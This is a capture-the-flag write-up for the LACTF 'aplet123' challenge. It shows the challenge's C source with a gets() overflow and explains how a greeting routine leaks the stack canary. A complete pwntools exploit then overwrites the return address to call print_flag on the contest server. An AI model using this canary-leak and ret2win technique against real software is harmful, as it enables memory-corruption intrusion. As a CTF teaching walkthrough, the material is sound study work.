aplet123

by Davidpb / Davidpb

Tags: canary pwn ret2win

Rating:

LACTF 2023

aplet123

> bliutech: Can we get ApletGPT? me: No we have ApletGPT at home. ApletGPT at home:
> Author: kaiphait
> `Dockerfile` `aplet123.c` `aplet123`

Tags: *pwn*

Solution

As this is a pwn challenge, first of all, lets see what security measurements are given for the challenge binary.

```
$ checksec ./aplet123
[*] '/home/ctf/aplet123'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

Keeping this in mind, we check out the source code. The main is small and there is a `print_flag` function, that is never called. This must be a `ret2win` challenge. We also have a buffer overflow, as `gets(input)` is basically unbounded. But since `stack canaries` are active, we cannot simply overflow and rewrite the return address.

```c
void print_flag(void) {
  char flag[256];
  FILE *flag_file = fopen("flag.txt", "r");
  fgets(flag, sizeof flag, flag_file);
  puts(flag);
}

// ...

int main(void) {
  setbuf(stdout, NULL);
  srand(time(NULL));
  char input[64];
  puts("hello");
  while (1) {
    gets(input);
    char *s = strstr(input, "i'm");
```

```
    if (s) {
      printf("hi %s, i'm aplet123\n", s + 4);
    } else if (strcmp(input, "please give me the flag") == 0) {
      puts("i'll consider it");
      sleep(5);
      puts("no");
    } else if (strcmp(input, "bye") == 0) {
      puts("bye");
      break;
    } else {
      puts(responses[rand() % (sizeof responses / sizeof responses[0])]);
    }
  }
}
```

Meaning, we need to leak the canary somehow. And thankfully we just have the tool: the program has some logic to `greet the user`, if the user input contains `i'm` the program sets the pointer to the position where `i'm` was found plus 4 (assuming there is a space before the user name starts). This of course has all kinds of issues, there must not be a space or the user could omit the name alltogether.

But for us it's a good thing, since we can leak the canary this way. How you might ask? Lets have a look how the stack is layed out here.

```
higher addresses
^
.
.
       RBP+08  Return Address
RBP ->         Saved RBP
       RBP-08  local_10
       RBP-80  local_58
       RBP-88  local_60
RSP -> RBP-96
.
.
v
lower addresses
```

We want to override the return address at `rbp+8`. The cookie is located at `rbp-8` (`local_10`) and our user input goes to `local_58` at `rbp-80`. From this we know our buffer is `72 bytes` in size. If we align our `i'm` to be at the end of our buffer, then `printf("hi %s, i'm aplet123\n", s + 4);` would just print the stack cookie for us, since the increment by 4 will point just after our buffer ends.

With the canary saved we are finally able to overflow the buffer and rewrite the return address with keeping the canary intact. The only thing left then is to cause the program to end itself, this can be done by just sending `bye`.

```
from pwn import *

#p = process("./aplet123")
p = remote("chall.lac.tf", 31123)
binary = ELF("./aplet123")

buffer_size = 72

# send greeting marker aligned to end of buffer to trigger canary leak
p.sendline(flat({buffer_size-3: b"i'm"}))

# read leaked canary
p.recvuntil(b"hi ")
canary = p.recv(7)
canary = int.from_bytes(b"\0" + canary, 'little')
print("canary found:", hex(canary))
```

```
# now we overflow the buffer to override the return address
# taking care the canary stays intact
payload = flat({
    buffer_size     : p64(canary),
    buffer_size + 8 : p64(0),
    buffer_size + 16: p64(binary.sym.print_flag)
})
p.sendline(payload)

# exit the program now to let it jump back to 'print_flag'
p.sendline(b"bye")

p.recvuntil(b"bye")

print("found flag: ", p.recvall().decode())
```

Flag `lactf{so_untrue_ei2p1wfwh9np2gg6}`

Original writeup (https://github.com/D13David/ctf-writeups/blob/main/lactf24/pwn/README.md).

Comments